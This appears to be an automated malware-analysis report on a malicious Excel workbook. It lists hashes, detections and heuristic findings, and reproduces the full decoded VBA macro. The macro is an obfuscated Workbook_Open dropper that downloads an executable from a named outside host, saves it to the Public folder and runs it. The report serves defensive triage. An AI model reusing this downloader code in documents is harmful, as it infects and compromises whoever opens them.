Office (OOXML) malware analysis — malicious · 5fed2050ee10cb43

MALICIOUS

Office (OOXML)

268.1 KB First seen: 2020-09-15

MD5: 0c1e5ad5ab266a44be8d175aff239b83 SHA-1: 1dd3126da75f0cf98e14fb31d433c6d5acbb2d93 SHA-256: 5fed2050ee10cb43cc63852558597d64e8fe67c30af8682b9f60ce356e24901d

310 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The file contains a Workbook_Open VBA macro that is obfuscated and attempts to download a file from 'http://smarting.rs/wp-content/ORDE R-RFQ-785577.exe'. The macro uses CreateObject to instantiate an object, likely for network communication and file writing, and the ClamAV detection indicates it's a known dropper. The obfuscated nature and download functionality strongly suggest it's designed to fetch and execute a secondary payload.

Heuristics 7

ClamAV: Xls.Dropper.EPPlus-9802867-2 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Dropper.EPPlus-9802867-2
VBA project inside OOXML medium 4 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC

VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
Matched line in script
```
pgqkpbmjjhazustsuoceglrobjzttwwlutyvnxyhjpmaozsvmmhlohueocjgbspnkofbtyexpvvqzrzbrdghplxmyuglnsfqzzqa.write gypsctvdhhmlktgyhaabydsalhwtaxhhdlrfcubbdcbmfxgtlmolihdcgpguwcckzfhzcbwnzyxwcguobdhoivywhoznngfbzqma.responseBody
```
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Matched line in script
```
  Range("A6:J13").Select
Set gypsctvdhhmlktgyhaabydsalhwtaxhhdlrfcubbdcbmfxgtlmolihdcgpguwcckzfhzcbwnzyxwcguobdhoivywhoznngfbzqma = CreateObject(xgsokkemrxwitzhrgpmdwyafyrhacuvfemcyazoazfxccrcntp("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
```

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

  Range("A6:J13").Select
Set gypsctvdhhmlktgyhaabydsalhwtaxhhdlrfcubbdcbmfxgtlmolihdcgpguwcckzfhzcbwnzyxwcguobdhoivywhoznngfbzqma = CreateObject(xgsokkemrxwitzhrgpmdwyafyrhacuvfemcyazoazfxccrcntp("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))

Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Private Sub Workbook_Open()
```
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	6635 bytes
SHA-256: `669e6387da0c2be769a748be65eb1f3fbcaa36e77433ed8a85ed044eddefd094`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() Range("A6:J13").Select ufqjabunmtbgjkmcgsacqnqyjmraxplnujgoomproecjzkhxmyehvfjhosznkupxhnmaeynuciolkgyzftnzkeroazzwnbgtpfbl"68 74 74 70 3A 2F 2F 73 6D 61 72 74 69 6E 67 2E 72 73 2F 77 70 2D 63 6F 6E 74 65 6E 74 2F 4F 52 44 45 52 2D 52 46 51 2D 37 38 35 35 37 37 2E 65 78 65" Selection.Font.ColorIndex = 3 End Sub Public Sub ufqjabunmtbgjkmcgsacqnqyjmraxplnujgoomproecjzkhxmyehvfjhosznkupxhnmaeynuciolkgyzftnzkeroazzwnbgtpfbl (vqsgzqtirgywfnzoopmjkstupozzexgujtufpedbqqdigskimbdhoaacwyrlqteuaemlsuykmlttplnxermduyfitsirnskwmiic As String) Dim gypsctvdhhmlktgyhaabydsalhwtaxhhdlrfcubbdcbmfxgtlmolihdcgpguwcckzfhzcbwnzyxwcguobdhoivywhoznngfbzqma Range("A6:J13").Select Dim pgqkpbmjjhazustsuoceglrobjzttwwlutyvnxyhjpmaozsvmmhlohueocjgbspnkofbtyexpvvqzrzbrdghplxmyuglnsfqzzqa Range("A6:J13").Select Dim urcohjvtmeexchpymiyzrtczrtjxpeqzazhzbszfqdzupiigdgerbrjaocwnaxdhnewdapwujsinthjilduiazyjqgkyvleszrhk Range("A6:J13").Select Set gypsctvdhhmlktgyhaabydsalhwtaxhhdlrfcubbdcbmfxgtlmolihdcgpguwcckzfhzcbwnzyxwcguobdhoivywhoznngfbzqma = CreateObject(xgsokkemrxwitzhrgpmdwyafyrhacuvfemcyazoazfxccrcntp("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Range("A6:J13").Select Set gypsctvdhhmlktgyhaabydsalhwtaxhhdlrfcubbdcbmfxgtlmolihdcgpguwcckzfhzcbwnzyxwcguobdhoivywhoznngfbzqma = CreateObject(xgsokkemrxwitzhrgpmdwyafyrhacuvfemcyazoazfxccrcntp("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set gypsctvdhhmlktgyhaabydsalhwtaxhhdlrfcubbdcbmfxgtlmolihdcgpguwcckzfhzcbwnzyxwcguobdhoivywhoznngfbzqma = CreateObject(xgsokkemrxwitzhrgpmdwyafyrhacuvfemcyazoazfxccrcntp("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set gypsctvdhhmlktgyhaabydsalhwtaxhhdlrfcubbdcbmfxgtlmolihdcgpguwcckzfhzcbwnzyxwcguobdhoivywhoznngfbzqma = CreateObject(xgsokkemrxwitzhrgpmdwyafyrhacuvfemcyazoazfxccrcntp("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set pgqkpbmjjhazustsuoceglrobjzttwwlutyvnxyhjpmaozsvmmhlohueocjgbspnkofbtyexpvvqzrzbrdghplxmyuglnsfqzzqa = CreateObject(xgsokkemrxwitzhrgpmdwyafyrhacuvfemcyazoazfxccrcntp("41 44 4f 44 42 2e 53 74 72 65 61 6d")) Set urcohjvtmeexchpymiyzrtczrtjxpeqzazhzbszfqdzupiigdgerbrjaocwnaxdhnewdapwujsinthjilduiazyjqgkyvleszrhk = CreateObject(xgsokkemrxwitzhrgpmdwyafyrhacuvfemcyazoazfxccrcntp("57 53 63 72 69 70 74 2e 53 68 65 6c 6c")) bakyclpgwtqueajnjuorrixadirkodulyvyjqdlzdhnmlwvopbkhxrtsdjvtuesszevibawfjpokvlphndumsmnhcgghirfyoumh = xgsokkemrxwitzhrgpmdwyafyrhacuvfemcyazoazfxccrcntp(vqsgzqtirgywfnzoopmjkstupozzexgujtufpedbqqdigskimbdhoaacwyrlqteuaemlsuykmlttplnxermduyfitsirnskwmiic) anmpfeyicixrtngrkfanqnfvtpxrkqwayihzqehnofeuionvkonjuzqmhqvphgymmwslghafxmykjlmfbbgvcngzrurairfhgsim = xgsokkemrxwitzhrgpmdwyafyrhacuvfemcyazoazfxccrcntp("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 6E 7A 73 79 70 7A 67 6E 70 2e 65 78 65") vcpdoilhafdwdqogackzpttlpzwggreqdajymchtbyymquwsdzheijwbjdoomfajbmtdgpuxvqxruguucdchkaiudioiothwypke = xgsokkemrxwitzhrgpmdwyafyrhacuvfemcyazoazfxccrcntp("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 6E 7A 73 79 70 7A 67 6E 70 2e 65 78 65") gypsctvdhhmlktgyhaabydsalhwtaxhhdlrfcubbdcbmfxgtlmolihdcgpguwcckzfhzcbwnzyxwcguobdhoivywhoznngfbzqma.Open chr(71) + chr(69) + chr(84), bakyclpgwtqueajnjuorrixadirkodulyvyjqdlzdhnmlwvopbkhxrtsdjvtuesszevibawfjpokvlphndumsmnhcgghirfyoumh, False gypsctvdhhmlktgyhaabydsalhwtaxhhdlrfcubbdcbmfxgtlmolihdcgpguwcckzfhzcbwnzyxwcguobdhoivywhoznngfbzqma.send pgqkpbmjjhazustsuoceglrobjzttwwlutyvnxyhjpmaozsvmmhlohueocjgbspnkofbtyexpvvqzrzbrdghplxmyuglnsfqzzqa.Type = 1 pgqkpbmjjhazustsuoceglrobjzttwwlutyvnxyhjpmaozsvmmhlohueocjgbspnkofbtyexpvvqzrzbrdghplxmyuglnsfqzzqa.Open pgqkpbmjjhazustsuoceglrobjzttwwlutyvnxyhjpmaozsvmmhlohueocjgbspnkofbtyexpvvqzrzbrdghplxmyuglnsfqzzqa.write gypsctvdhhmlktgyhaabydsalhwtaxhhdlrfcubbdcbmfxgtlmolihdcgpguwcckzfhzcbwnzyxwcguobdhoivywhoznngfbzqma.responseBody pgqkpbmjjhazustsuoceglrobjzttwwlutyvnxyhjpmaozsvmmhlohueocjgbspnkofbtyexpvvqzrzbrdghplxmyuglnsfqzzqa.savetofile anmpfeyicixrtngrkfanqnfvtpxrkqwayihzqehnofeuionvkonjuzqmhqvphgymmwslghafxmykjlmfbbgvcngzrurairfhgsim, 2 urcohjvtmeexchpymiyzrtczrtjxpeqzazhzbszfqdzupiigdgerbrjaocwnaxdhnewdapwujsinthjilduiazyjqgkyvleszrhk.Run vcpdoilhafdwdqogackzpttlpzwggreqdajymchtbyymquwsdzheijwbjdoomfajbmtdgpuxvqxruguucdchkaiudioiothwypke End Sub Public Function xgsokkemrxwitzhrgpmdwyafyrhacuvfemcyazoazfxccrcntp(ByVal mefnkkiiivghsncxduhofmnuexyxnpncaywgxgyqqqbuzdfhjhpfksezrljmlkusiehtrvzwwqxplsubsrogairhuwolxmfgwjmv As String) As String Dim wlqnititvpozrhuuwoszmzzugnyjlrtcgzegabxgzyleipuprljhqmiwmvguvyidwmsrcotvqlaoovmrtisahlltqiufudlaqihw As String Dim wcndsoremuiqjpamghwlazbuuoamazygnpurvoistggwadvfdztilwvxbsjeofenvccuvjqszdstsetqsvjbfquruwpcfeeoctay As String Dim abktibiiebfwysltvdifilzytonvzdrzevqrlptdhlnsrtdmskszluqoblatomjajfsdctigjeywyhhzkacolsnjfbqzozpucmil As Long For abktibiiebfwysltvdifilzytonvzdrzevqrlptdhlnsrtdmskszluqoblatomjajfsdctigjeywyhhzkacolsnjfbqzozpucmil = 1 To Len(mefnkkiiivghsncxduhofmnuexyxnpncaywgxgyqqqbuzdfhjhpfksezrljmlkusiehtrvzwwqxplsubsrogairhuwolxmfgwjmv)Step 3 wlqnititvpozrhuuwoszmzzugnyjlrtcgzegabxgzyleipuprljhqmiwmvguvyidwmsrcotvqlaoovmrtisahlltqiufudlaqihw = Chr$(Val("&H" & Mid$(mefnkkiiivghsncxduhofmnuexyxnpncaywgxgyqqqbuzdfhjhpfksezrljmlkusiehtrvzwwqxplsubsrogairhuwolxmfgwjmv, abktibiiebfwysltvdifilzytonvzdrzevqrlptdhlnsrtdmskszluqoblatomjajfsdctigjeywyhhzkacolsnjfbqzozpucmil, 2))) wcndsoremuiqjpamghwlazbuuoamazygnpurvoistggwadvfdztilwvxbsjeofenvccuvjqszdstsetqsvjbfquruwpcfeeoctay = wcndsoremuiqjpamghwlazbuuoamazygnpurvoistggwadvfdztilwvxbsjeofenvccuvjqszdstsetqsvjbfquruwpcfeeoctay & wlqnititvpozrhuuwoszmzzugnyjlrtcgzegabxgzyleipuprljhqmiwmvguvyidwmsrcotvqlaoovmrtisahlltqiufudlaqihw Next abktibiiebfwysltvdifilzytonvzdrzevqrlptdhlnsrtdmskszluqoblatomjajfsdctigjeywyhhzkacolsnjfbqzozpucmil xgsokkemrxwitzhrgpmdwyafyrhacuvfemcyazoazfxccrcntp = wcndsoremuiqjpamghwlazbuuoamazygnpurvoistggwadvfdztilwvxbsjeofenvccuvjqszdstsetqsvjbfquruwpcfeeoctay End Function Attribute VB_Name = "btlnejislfhditlicszbdzzyb" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	7680 bytes
SHA-256: `6a89b966ac1ff6f8303c4d14cddcad0428c1de8c946020d322555c52d15f1cc4`
Detection ClamAV: Xls.Dropper.EPPlus-9802867-2 Obfuscation or payload: likely 119 of 215 identifiers look randomly generated (e.g. 'C6C46AB6F6BAB8BEB8BEBCC2BCC2') — consistent with name-mangling obfuscation.

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